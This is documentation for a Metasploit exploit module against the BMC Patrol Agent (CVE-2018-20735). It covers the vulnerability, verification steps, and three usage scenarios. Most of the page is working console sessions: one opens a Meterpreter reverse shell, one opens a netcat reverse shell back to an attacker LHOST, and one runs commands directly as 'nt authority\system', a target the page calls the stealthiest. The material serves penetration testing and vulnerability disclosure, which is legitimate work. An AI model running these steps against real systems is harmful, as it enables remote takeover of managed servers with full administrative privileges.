## Description
This module exploits the lack of proper authorization checks in the BMC Patrol Agent that allows arbitrary operating system commands to be executed at a higher privilege level than the user being authenticated. The module is simply a ruby implementation of the remote protocol provided by BMC Patrol Agent to execute system commands.

The vulnerability was identified by Ryan Wincey of [Securifera](https://www.securifera.com/) and was assigned [CVE-2018-20735](https://www.cvedetails.com/cve/CVE-2018-20735/) Further details can be found at the [Securifera website](https://www.securifera.com/blog/2018/12/17/bmc-patrol-agent-domain-user-to-domain-admin/).


## Vulnerable Application
The module affects the BMC Patrol Agent component of [BMC TrueSight Infrastructure Management](https://docs.bmc.com/docs/TSInfrastructure/113/home-774795879.html). The agent is installed on servers managed using BMC TrueSight Infrastructure Management and listens on TCP port 3181. The vulnerability affects versions up to 11.3.

## Verification Steps
To use this exploit you will need access to BMC Patrol Agent.

1. Install the BMC Patrol agent on a host.
2. Ensure that the PatrolAgent service is running and listening on TCP port 3181.
3. Launch `msfconsole`.
4. Load the module `use exploit/multi/misc/bmc_patrol_cmd_exec`.
5. Set the username to authenticate with `set USER patrol`.
6. Set the password for the user `set PASSWORD password`.
7. Set the command to execute `set CMD "whoami"`.
8. Run the exploit `exploit`.

The result should be that the string `nt authority\system` is returned and output.

## Usage Scenarios
The exploit module contains several targets as detailed below.

### Target 0: Windows Powershell Injected Shellcode
This module target provides support for command staging to enable arbitrary Metasploit payloads to be used against Windows targets (for example, a Meterpreter shell). 

	msf5 > use exploit/multi/misc/bmc_patrol_cmd_exec 
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set RHOSTS 192.168.162.133
	RHOSTS => 192.168.162.133
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set LHOST 192.168.162.128
	LHOST => 192.168.162.128
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set payload windows/meterpreter/reverse_tcp
	payload => windows/meterpreter/reverse_tcp
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set USER user
	USER => user
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set PASSWORD password
	PASSWORD => password
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > exploit -j
	[*] Exploit running as background job 0.
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > 
	[*] Started reverse TCP handler on 192.168.162.128:4444 
	[*] 192.168.162.133:3181 - Connected to BMC Patrol Agent.
	[*] 192.168.162.133:3181 - Successfully authenticated user.
	[*] Sending stage (179779 bytes) to 192.168.162.133
	[*] Meterpreter session 1 opened (192.168.162.128:4444 -> 192.168.162.133:58461) at 2019-02-10 23:00:03 -0500


### Target 1: Generic Cmd
This target can be used with *cmd* payloads to execute operating system commands against the target host.

	msf5 > use exploit/multi/misc/bmc_patrol_cmd_exec 
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set RHOSTS 192.168.162.130
	RHOSTS => 192.168.162.130
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set LHOST 192.168.162.128
	LHOST => 192.168.162.128
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set USER patrol
	USER => patrol
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set PASSWORD password
	PASSWORD => password
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set TARGET 1
	TARGET => 1
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set PAYLOAD cmd/unix/reverse_netcat
	PAYLOAD => cmd/unix/reverse_netcat
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > exploit -j
	[*] Exploit running as background job 0.
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > 
	[*] Started reverse TCP handler on 192.168.162.128:4444 
	[*] 192.168.162.130:3181 - Connected to BMC Patrol Agent.
	[*] 192.168.162.130:3181 - Successfully authenticated user.
	[*] Command shell session 1 opened (192.168.162.128:4444 -> 192.168.162.130:57408) at 2019-02-10 23:05:12 -0500


### Target Cmd Execution: Windows/Unix/Linux
This target isn't a formal target. It was added to allow a user to execute commands entirely through the Patrol Agent remote administration feature and view the output. It would be the most quiet of the targets as it does not create any additional connections or use powershell by default like Target 0.
	
	msf5 > use exploit/multi/misc/bmc_patrol_cmd_exec
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set RHOSTS 192.168.162.133
	RHOSTS => 192.168.162.133
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set USER user
	USER => user
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set PASSWORD password
	PASSWORD => password
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > set CMD whoami
	msf5 exploit(multi/misc/bmc_patrol_cmd_exec) > exploit
	[*] 192.168.162.133:3181 - Connected to BMC Patrol Agent.
	[*] 192.168.162.133:3181 - Successfully authenticated user.
	[*] 192.168.162.133:3181 - Command to execute: whoami
	[*] 192.168.162.133:3181 - Output:
	nt authority\system


